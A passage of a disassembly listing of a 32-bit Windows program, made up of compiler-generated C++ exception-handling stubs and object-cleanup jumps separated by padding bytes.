; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417F50	proc near		; DATA XREF: sub_417F50+2o
		mov	eax, offset dword_441D50
		jmp	sub_437AB8
SEH_417F50	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418010	proc near		; DATA XREF: sub_418010+2o
		mov	eax, offset dword_441DA0
		jmp	sub_437AB8
SEH_418010	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4180D0	proc near		; DATA XREF: sub_4180D0+2o
		mov	eax, offset dword_441DF0
		jmp	sub_437AB8
SEH_4180D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418180	proc near		; DATA XREF: sub_418180+2o
		mov	eax, offset dword_441E20
		jmp	sub_437AB8
SEH_418180	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418200	proc near		; DATA XREF: sub_418200+2o
		mov	eax, offset dword_441E50
		jmp	sub_437AB8
SEH_418200	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BE8B:				; DATA XREF: ___:00441EACo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4182B0	proc near		; DATA XREF: sub_4182B0+2o
		mov	eax, offset dword_441E80
		jmp	sub_437AB8
SEH_4182B0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BEBB:				; DATA XREF: ___:00441EE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418390	proc near		; DATA XREF: sub_418390+2o
		mov	eax, offset dword_441EB8
		jmp	sub_437AB8
SEH_418390	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1B4h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418590	proc near		; DATA XREF: sub_418590+8o
		mov	eax, offset dword_441F00
		jmp	sub_437AB8
SEH_418590	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BF2B:				; DATA XREF: ___:00441F5Co
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4191B0	proc near		; DATA XREF: sub_4191B0+2o
		mov	eax, offset dword_441F30
		jmp	sub_437AB8
SEH_4191B0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_419270	proc near		; DATA XREF: sub_419270+2o
		mov	eax, offset dword_441F68
		jmp	sub_437AB8
SEH_419270	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_419320	proc near		; DATA XREF: sub_419320+2o
		mov	eax, offset dword_441F98
		jmp	sub_437AB8
SEH_419320	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BF9B:				; DATA XREF: ___:00441FF4o
		lea	ecx, [ebp-28Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4193C0	proc near		; DATA XREF: sub_4193C0+2o
		mov	eax, offset dword_441FC8
		jmp	sub_437AB8
SEH_4193C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-820h]
		jmp	sub_40187A
; ---------------------------------------------------------------------------


loc_43BFCB:				; DATA XREF: ___:0041A288o
		mov	eax, offset dword_442000
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-44h]
		and	eax, 1
		test	eax, eax
		jz	locret_43BFF6
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43BFF6:				; CODE XREF: ___:0043BFE8j
		retn
; ---------------------------------------------------------------------------


loc_43BFF7:				; DATA XREF: ___:0044205Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C007:				; DATA XREF: ___:0041B1F2o
		mov	eax, offset dword_442030
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41B500	proc near		; DATA XREF: sub_41B500+2o
		mov	eax, offset dword_442070
		jmp	sub_437AB8
SEH_41B500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43C040	proc near		; DATA XREF: ___:004420CCo
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
sub_43C040	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		and	eax, 1
		test	eax, eax
		jz	locret_43C05E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43C05E:				; CODE XREF: ___:0043C050j
		retn
; ---------------------------------------------------------------------------


loc_43C05F:				; DATA XREF: ___:004420D4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41BA50	proc near		; DATA XREF: sub_41BA50+2o
		mov	eax, offset dword_4420A0
		jmp	sub_437AB8
SEH_41BA50	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41C490	proc near		; DATA XREF: sub_41C490+2o
		mov	eax, offset dword_4420E8
		jmp	sub_437AB8
SEH_41C490	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C0EB:				; DATA XREF: ___:0044216Co
		lea	ecx, [ebp-0DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-94h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	sub_4014BA
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41C710	proc near		; DATA XREF: sub_41C710+2o
		mov	eax, offset dword_442140
		jmp	sub_437AB8
SEH_41C710	endp

; ---------------------------------------------------------------------------
		db 59h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C278:				; DATA XREF: ___:00442274o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D640	proc near		; DATA XREF: sub_41D640+2o
		mov	eax, offset dword_442248
		jmp	sub_437AB8
SEH_41D640	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C2B8:				; DATA XREF: ___:004422BCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D6D0	proc near		; DATA XREF: sub_41D6D0+2o
		mov	eax, offset dword_442290
		jmp	sub_437AB8
SEH_41D6D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 50h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 65h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D770	proc near		; DATA XREF: sub_41D770+2o
		mov	eax, offset dword_4422D8
		jmp	sub_437AB8
SEH_41D770	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 50h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 65h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D860	proc near		; DATA XREF: sub_41D860+2o
		mov	eax, offset dword_442330
		jmp	sub_437AB8
SEH_41D860	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1140h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C3F2:				; DATA XREF: sub_41D930+8o
		mov	eax, offset dword_442388
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 14h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E240	proc near		; DATA XREF: sub_41E240+2o
		mov	eax, offset dword_4423E0
		jmp	sub_437AB8
SEH_41E240	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E500	proc near		; DATA XREF: sub_41E500+2o
		mov	eax, offset dword_442420
		jmp	sub_437AB8
SEH_41E500	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-48h]
		jmp	sub_401825
; ---------------------------------------------------------------------------


loc_43C488:				; DATA XREF: ___:0044249Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	sub_401253
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E760	proc near		; DATA XREF: sub_41E760+8o
		mov	eax, offset dword_442470
		jmp	sub_437AB8
SEH_41E760	endp

; ---------------------------------------------------------------------------
asc_43C4EA	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ̸',0
aD		db '%D',0
; ---------------------------------------------------------------------------
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-1974h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C52B:				; DATA XREF: ___:0044258Co
		lea	ecx, [ebp-195Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1944h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-198Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-192Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1914h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18E4h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41F030	proc near		; DATA XREF: sub_41F030+8o
		mov	eax, offset dword_442560
		jmp	sub_437AB8
SEH_41F030	endp

; ---------------------------------------------------------------------------
		db 28h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C5C8:				; DATA XREF: ___:0044260Co
		lea	ecx, [ebp-64h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41F960	proc near		; DATA XREF: sub_41F960+2o
		mov	eax, offset dword_4425E0
		jmp	sub_437AB8
SEH_41F960	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		dw 8D8Dh
		dd 0FFFFFBB4h, 0C52E84E9h
		db 75h,	0C0h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4201F0	proc near		; DATA XREF: sub_4201F0+2o
		mov	eax, offset dword_442618
		jmp	sub_437AB8
SEH_4201F0	endp

; ---------------------------------------------------------------------------
		db 14h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-112Ch]
		jmp	sub_401A82

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_420630	proc near		; DATA XREF: sub_420630+8o
		mov	eax, offset dword_442658
		jmp	sub_437AB8
SEH_420630	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-4FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C64B:				; DATA XREF: ___:004426B4o
		lea	ecx, [ebp-434h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4208E0	proc near		; DATA XREF: sub_4208E0+2o
		mov	eax, offset dword_442688
		jmp	sub_437AB8
SEH_4208E0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C67B:				; DATA XREF: ___:004426ECo
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C683:				; DATA XREF: ___:004426F4o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C68B:				; DATA XREF: ___:004426FCo
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C6A3:				; DATA XREF: ___:00442714o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C6BB:				; DATA XREF: ___:0044272Co
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C6D3:				; DATA XREF: ___:00442744o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C6EB:				; DATA XREF: ___:0044275Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C6FB:				; DATA XREF: ___:0044276Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C70B:				; DATA XREF: ___:0044277Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_420F10	proc near		; DATA XREF: sub_420F10+8o
		mov	eax, offset dword_4426C0
		jmp	sub_437AB8
SEH_420F10	endp

; ---------------------------------------------------------------------------
		db 33h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	j_nullsub_11
		add	esp, 8
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_422750	proc near		; DATA XREF: sub_422750+2o
		mov	eax, offset dword_4427A8
		jmp	sub_437AB8
SEH_422750	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	j_nullsub_11
		add	esp, 8
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4227E0	proc near		; DATA XREF: sub_4227E0+2o
		mov	eax, offset dword_4427D8
		jmp	sub_437AB8
SEH_4227E0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4228F0	proc near		; DATA XREF: sub_4228F0+2o
		mov	eax, offset dword_442808
		jmp	sub_437AB8
SEH_4228F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-624h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_422B40	proc near		; DATA XREF: sub_422B40+8o
		mov	eax, offset dword_442858
		jmp	sub_437AB8
SEH_422B40	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-434h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4253C0	proc near		; DATA XREF: sub_4253C0+2o
		mov	eax, offset dword_4428E0
		jmp	sub_437AB8
SEH_4253C0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426C70	proc near		; DATA XREF: sub_426C70+2o
		mov	eax, offset dword_442910
		jmp	sub_437AB8
SEH_426C70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
